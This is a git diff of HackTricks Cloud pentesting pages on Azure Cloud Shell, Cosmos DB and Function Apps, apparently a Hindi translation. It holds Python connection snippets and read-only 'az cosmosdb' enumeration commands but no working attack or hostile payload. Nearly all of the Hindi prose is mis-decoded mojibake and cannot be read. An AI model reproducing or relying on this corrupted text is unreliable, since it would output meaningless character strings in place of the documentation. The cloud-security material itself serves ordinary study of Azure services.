Docker CLI, Ansible, Git, рдФрд░ vim, nano, рдФрд░ emacs рдЬреИрд╕реЗ рдЯреЗрдХреНрд╕реНрдЯ рд╕рдВрдкрд╛рджрдХреЛрдВ рдЬреИрд╕реЗ рдкреВрд░реНрд╡-рд╕реНрдерд╛рдкрд┐рдд рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдПрдХ рд╡реНрдпрд╛рдкрдХ рд╕реЗрдЯ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпреЗ рдЙрдкрдХрд░рдг рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рддреИрдпрд╛рд░ рд╣реИрдВред рд╕реНрдерд╛рдкрд┐рдд рдкреИрдХреЗрдЬ рдФрд░ рдореЙрдбреНрдпреВрд▓ рдХреА рд╕реВрдЪреА рдХреЗ рд▓рд┐рдП рдЖрдк "Get-Module -ListAvailable", "tdnf list" рдФрд░ "pip3 list" рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +**$HOME persistence**: рдЬрдм рдЖрдк рдкрд╣рд▓реА рдмрд╛рд░ Azure Cloud Shell рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдЗрд╕реЗ рдПрдХ рдЬреБрдбрд╝реЗ рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рдпрд╛ рдмрд┐рдирд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕реНрдЯреЛрд░реЗрдЬ рдХреЛ рди рдЬреЛрдбрд╝рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рдПрдХ рдЕрд╕реНрдерд╛рдпреА рд╕рддреНрд░ рдмрдирд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рд╕рддреНрд░ рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рд╣рдЯрд╛ рджреА рдЬрд╛рддреА рд╣реИрдВред рд╕рддреНрд░реЛрдВ рдХреЗ рдмреАрдЪ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдмрдирд╛рдП рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддрд╛ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ, рдЬреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ **$HOME\clouddrive** рдХреЗ рд░реВрдк рдореЗрдВ рдЬреБрдбрд╝рддрд╛ рд╣реИ, рдЖрдкрдХреЗ **$HOME** рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдХреЛ Azure рдлрд╝рд╛рдЗрд▓ рд╢реЗрдпрд░ рдореЗрдВ **.img** рдлрд╝рд╛рдЗрд▓ рдХреЗ рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, $HOME рдХреЗ рдмрд╛рд╣рд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдФрд░ рдорд╢реАрди рдХреА рд╕реНрдерд┐рддрд┐рдпрд╛рдБ рдмрдирд╛рдП рдирд╣реАрдВ рд░рдЦреА рдЬрд╛рддреА рд╣реИрдВред SSH рдХреБрдВрдЬрд┐рдпреЛрдВ рдЬреИрд╕реЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рд╕реБрд░рдХреНрд╖рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, Azure Key Vault рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред +**Azure drive (Azure:)**: Azure Cloud Shell рдореЗрдВ PowerShell Azure рдбреНрд░рд╛рдЗрд╡ (Azure:) рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬреЛ рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо-рдЬреИрд╕реЗ рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ Compute, Network, рдФрд░ Storage рдЬреИрд╕реЗ Azure рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рдЖрд╕рд╛рди рдиреЗрд╡рд┐рдЧреЗрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред Azure рдбреНрд░рд╛рдЗрд╡ рдкрд░ рд╕реНрд╡рд┐рдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП cd Azure: рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдФрд░ рдЕрдкрдиреЗ рд╣реЛрдо рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдкрд░ рд▓реМрдЯрдиреЗ рдХреЗ рд▓рд┐рдП cd ~ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдЖрдк рдХрд┐рд╕реА рднреА рдбреНрд░рд╛рдЗрд╡ рд╕реЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП Azure PowerShell cmdlets рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +**Custom Tool Installation**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬреЛ Cloud Shell рдХреЛ рдПрдХ рд╕реНрдЯреЛрд░реЗрдЬ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рддреЗ рд╣реИрдВ, рд╡реЗ рдЕрддрд┐рд░рд┐рдХреНрдд рдЙрдкрдХрд░рдг рд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд░реВрдЯ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ Cloud Shell рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдЖрдЧреЗ рдЕрдиреБрдХреВрд▓рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкрдиреА рд╕реЗрдЯрдЕрдк рдХреЛ рдЕрдкрдиреА рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред + +## References + +* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview) +* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features) +* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window) + + +## Persistence + +{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %} +[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md) +{% endcontent-ref %} + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** ЁЯТм [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ЁЯРж [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 058f1a6f5..aef7d61a4 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -21,7 +21,7 @@ Learn & practice GCP Hacking: " -A #### рдХрдиреЗрдХреНрд╢рди -azure-cosmosDB (pip install azure-cosmos) рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдХреБрдВрдЬреА рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдШрдЯрдХ рд╣реИрдВред +azure-cosmosDB (pip install azure-cosmos) рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдПрдВрдбрдкреЙрдЗрдВрдЯ рдФрд░ рдХреБрдВрдЬреА рдХрдиреЗрдХреНрд╢рди рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдорд╣рддреНрд╡рдкреВрд░реНрдг рдШрдЯрдХ рд╣реИрдВред {% code overflow="wrap" %} ```python from azure.cosmos import CosmosClient, PartitionKey @@ -173,7 +173,7 @@ print(item) ``` {% endcode %} -рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╣реИ **DefaultAzureCredential()** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдмрд╕ рдЙрд╕ рдЦрд╛рддреЗ рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░реЗрдВ (az login) рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рднреВрдорд┐рдХрд╛ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП (рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ) +рдПрдХ рдФрд░ рддрд░реАрдХрд╛ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХрд╛ рд╣реИ **DefaultAzureCredential()** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ред рдмрд╕ рдЙрд╕ рдЦрд╛рддреЗ рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдХрд░рдирд╛ рд╣реИ (az login) рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ рдФрд░ рдЗрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реИред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ рдПрдХ рднреВрдорд┐рдХрд╛ рдЕрд╕рд╛рдЗрдирдореЗрдВрдЯ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдЖрд╡рд╢реНрдпрдХ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП (рджреЗрдЦреЗрдВ рдХреЗ рд▓рд┐рдП mor) {% code overflow="wrap" %} ```python @@ -203,7 +203,7 @@ print("Document inserted.") {% endcode %} ### MongoDB -MongoDB NoSQL API рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝-рдЖрдзрд╛рд░рд┐рдд API рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдк рдХреЗ рд░реВрдк рдореЗрдВ JSON-рдЬреИрд╕реЗ BSON (Binary JSON) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдХреНрд╡реЗрд░реА рднрд╛рд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рдореЗрдХрди рдХреНрд╖рдорддрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕рдВрд░рдЪрд┐рдд, рдЕрд░реНрдз-рд╕рдВрд░рдЪрд┐рдд, рдФрд░ рдЕрд╕рдВрд░рдЪрд┐рдд рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реЛрддрд╛ рд╣реИред рд╕реЗрд╡рд╛ рдХрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕ рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░рддрд╛ рд╣реИ: +MongoDB NoSQL API рдПрдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝-рдЖрдзрд╛рд░рд┐рдд API рд╣реИ рдЬреЛ рдЕрдкрдиреЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рд░реВрдк рдХреЗ рд░реВрдк рдореЗрдВ JSON-рдЬреИрд╕реЗ BSON (Binary JSON) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдпрд╣ рдПрдХ рдХреНрд╡реЗрд░реА рднрд╛рд╖рд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд╕рдореЗрдХрди рдХреНрд╖рдорддрд╛рдПрдБ рд╣реЛрддреА рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рд╕рдВрд░рдЪрд┐рдд, рдЕрд░реНрдз-рд╕рдВрд░рдЪрд┐рдд рдФрд░ рдЕрд╕рдВрд░рдЪрд┐рдд рдбреЗрдЯрд╛ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рд╣реЛрддрд╛ рд╣реИред рд╕реЗрд╡рд╛ рдХрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЖрдорддреМрд░ рдкрд░ рдЗрд╕ рдкреНрд░рд╛рд░реВрдк рдХрд╛ рдкрд╛рд▓рди рдХрд░рддрд╛ рд╣реИ: {% code overflow="wrap" %} ```bash @@ -215,7 +215,7 @@ mongodb://:/ MongoDB рдореЗрдВ, рдЖрдк рдПрдХ рдпрд╛ рдПрдХ рд╕реЗ рдЕрдзрд┐рдХ рдбреЗрдЯрд╛рдмреЗрд╕ рдПрдХ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХреЗ рднреАрддрд░ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрдЧреНрд░рд╣реЛрдВ рдХрд╛ рдПрдХ рддрд╛рд░реНрдХрд┐рдХ рд╕рдореВрд╣ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╕рдВрд╕рд╛рдзрди рд╕рдВрдЧрдарди рдФрд░ рдкреНрд░рдмрдВрдзрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕реАрдорд╛ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдбреЗрдЯрд╛рдмреЗрд╕ рдбреЗрдЯрд╛ рдХреЛ рддрд╛рд░реНрдХрд┐рдХ рд░реВрдк рд╕реЗ рдЕрд▓рдЧ рдХрд░рдиреЗ рдФрд░ рдкреНрд░рдмрдВрдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдорджрдж рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ рдХрд┐ рд╡рд┐рднрд┐рдиреНрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдпрд╛ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЗ рд▓рд┐рдПред #### рд╕рдВрдЧреНрд░рд╣ -MongoDB рдореЗрдВ рдбреЗрдЯрд╛ рд╕рдВрдЧреНрд░рд╣рдг рдХреА рдореВрд▓ рдЗрдХрд╛рдИ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЛ рд░рдЦрддреА рд╣реИ рдФрд░ рдХреБрд╢рд▓ рдХреНрд╡реЗрд░реАрд┐рдВрдЧ рдФрд░ рд▓рдЪреАрд▓реЗ рд╕реНрдХреАрдорд╛ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИред рд╕рдВрдЧреНрд░рд╣ рд▓рдЪреАрд▓реЗ рдврдВрдЧ рд╕реЗ рд╕реНрдХреЗрд▓реЗрдмрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рддрд░рд┐рдд рд╕реЗрдЯрдЕрдк рдореЗрдВ рдХрдИ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рдЙрдЪреНрдЪ-рдереНрд░реВрдкреБрдЯ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +MongoDB рдореЗрдВ рдбреЗрдЯрд╛ рднрдВрдбрд╛рд░рдг рдХреА рдореВрд▓ рдЗрдХрд╛рдИ рд╕рдВрдЧреНрд░рд╣ рд╣реИ, рдЬреЛ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЛ рд░рдЦрддреА рд╣реИ рдФрд░ рдХреБрд╢рд▓ рдХреНрд╡реЗрд░реАрд┐рдВрдЧ рдФрд░ рд▓рдЪреАрд▓реЗ рд╕реНрдХреАрдорд╛ рдбрд┐рдЬрд╝рд╛рдЗрди рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХреА рдЧрдИ рд╣реИред рд╕рдВрдЧреНрд░рд╣ рд▓рдЪреАрд▓реЗ рдврдВрдЧ рд╕реЗ рд╕реНрдХреЗрд▓реЗрдмрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рд╡рд┐рддрд░рд┐рдд рд╕реЗрдЯрдЕрдк рдореЗрдВ рдХрдИ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рдЙрдЪреНрдЪ-рдереНрд░реВрдкреБрдЯ рд╕рдВрдЪрд╛рд▓рди рдХрд╛ рд╕рдорд░реНрдерди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред #### рдЧрдгрдирд╛ @@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name --database-name az cosmosdb mongodb role definition list --account-name --resource-group # List all user definitions for MongoDB within an Azure Cosmos DB account az cosmosdb mongodb user definition list --account-name --resource-group - ``` {% endcode %} {% endtab %} @@ -360,7 +359,7 @@ GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: < HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ -* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдУрдВ**](https://github.com/sponsors/carlospolop) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВ! +* [**рд╕рджрд╕реНрдпрддрд╛ рдпреЛрдЬрдирд╛рдПрдБ**](https://github.com/sponsors/carlospolop) рджреЗрдЦреЗрдВ! * **ЁЯТм [**Discord рд╕рдореВрд╣**](https://discord.gg/hRep4RUj7f) рдпрд╛ [**рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рд╕рдореВрд╣**](https://t.me/peass) рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдпрд╛ **Twitter** ЁЯРж рдкрд░ рд╣рдореЗрдВ **рдлреЙрд▓реЛ рдХрд░реЗрдВ** [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **рд╣реИрдХрд┐рдВрдЧ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░реЗрдВ рдФрд░ [**HackTricks**](https://github.com/carlospolop/hacktricks) рдФрд░ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) рдЧрд┐рдЯрд╣рдм рд░рд┐рдкреЛрдЬрд┐рдЯрд░реА рдореЗрдВ PR рд╕рдмрдорд┐рдЯ рдХрд░реЗрдВред** diff --git a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md index ca92f9265..ad8cd741b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-function-apps.md +++ b/src/pentesting-cloud/azure-security/az-services/az-function-apps.md @@ -4,89 +4,89 @@ ## Basic Information -**Azure Function Apps** рдПрдХ **serverless compute service** рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ рдЫреЛрдЯреЗ рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ, рдЬрд┐рдиреНрд╣реЗрдВ **functions** рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреЛ рдмрд┐рдирд╛ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд┐рдП рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВред рдЗрдиреНрд╣реЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЯреНрд░рд┐рдЧрд░реНрд╕ рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **HTTP рдЕрдиреБрд░реЛрдз, рдЯрд╛рдЗрдорд░, рдпрд╛ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛рдУрдВ** рд╕реЗ рдШрдЯрдирд╛рдПрдБ рдЬреИрд╕реЗ Blob Storage рдпрд╛ Event Hubsред Function Apps рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ C#, Python, JavaScript, рдФрд░ Java рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпреЗ **event-driven applications**, рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ, рдпрд╛ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдкрд░рдХрд╛рд░реА рдмрдирддреЗ рд╣реИрдВред рдпреЗ рд▓рд╛рдЧрдд-рдХреБрд╢рд▓ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЖрдорддреМрд░ рдкрд░ рдХреЗрд╡рд▓ рдЙрд╕ рд╕рдордп рдХреЗ рд▓рд┐рдП рднреБрдЧрддрд╛рди рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдЖрдкрдХрд╛ рдХреЛрдб рдЪрд▓рддрд╛ рд╣реИред +**Azure Function Apps** рдПрдХ **рд╕рд░реНрд╡рд░рд▓реЗрд╕ рдХрдВрдкреНрдпреВрдЯ рд╕реЗрд╡рд╛** рд╣реИрдВ рдЬреЛ рдЖрдкрдХреЛ **рдлрдВрдХреНрд╢рдВрд╕** рдирд╛рдордХ рдЫреЛрдЯреЗ рдХреЛрдб рдХреЗ рдЯреБрдХрдбрд╝реЗ рдЪрд▓рд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИрдВ, рдмрд┐рдирд╛ рдЕрдВрддрд░реНрдирд┐рд╣рд┐рдд рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЗ рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд┐рдПред рдЗрдиреНрд╣реЗрдВ рд╡рд┐рднрд┐рдиреНрди рдЯреНрд░рд┐рдЧрд░реНрд╕ рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ **HTTP рдЕрдиреБрд░реЛрдз, рдЯрд╛рдЗрдорд░, рдпрд╛ рдЕрдиреНрдп Azure рд╕реЗрд╡рд╛рдУрдВ** рд╕реЗ рдШрдЯрдирд╛рдПрдБ рдЬреИрд╕реЗ Blob Storage рдпрд╛ Event Hubsред Function Apps рдХрдИ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛рдУрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ C#, Python, JavaScript, рдФрд░ Java рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рдпреЗ **рдЗрд╡реЗрдВрдЯ-рдбреНрд░рд┐рд╡рди рдПрдкреНрд▓рд┐рдХреЗрд╢рди**, рд╡рд░реНрдХрдлрд╝реНрд▓реЛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ, рдпрд╛ рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдкрд░рдХрд╛рд░реА рдмрдирддреЗ рд╣реИрдВред рдпреЗ рд▓рд╛рдЧрдд-рдХреБрд╢рд▓ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк рдЖрдорддреМрд░ рдкрд░ рдХреЗрд╡рд▓ рдЙрд╕ рдХрдВрдкреНрдпреВрдЯ рд╕рдордп рдХреЗ рд▓рд┐рдП рднреБрдЧрддрд╛рди рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдЖрдкрдХрд╛ рдХреЛрдб рдЪрд▓рддрд╛ рд╣реИред > [!NOTE] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **Functions App Services рдХрд╛ рдПрдХ рдЙрдкрд╕рдореБрдЪреНрдЪрдп рд╣реИрдВ**, рдЗрд╕рд▓рд┐рдП, рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХреА рдЧрдИ рдХрдИ рд╕реБрд╡рд┐рдзрд╛рдПрдБ Azure Apps (`webapp` in cli) рдХреЗ рд░реВрдк рдореЗрдВ рдмрдирд╛рдП рдЧрдП рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рджреНрд╡рд╛рд░рд╛ рднреА рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдПрдВрдЧреАред ### Different Plans -- **Flex Consumption Plan**: **dynamic, event-driven scaling** рдХреЗ рд╕рд╛рде pay-as-you-go рдореВрд▓реНрдп рдирд┐рд░реНрдзрд╛рд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдорд╛рдВрдЧ 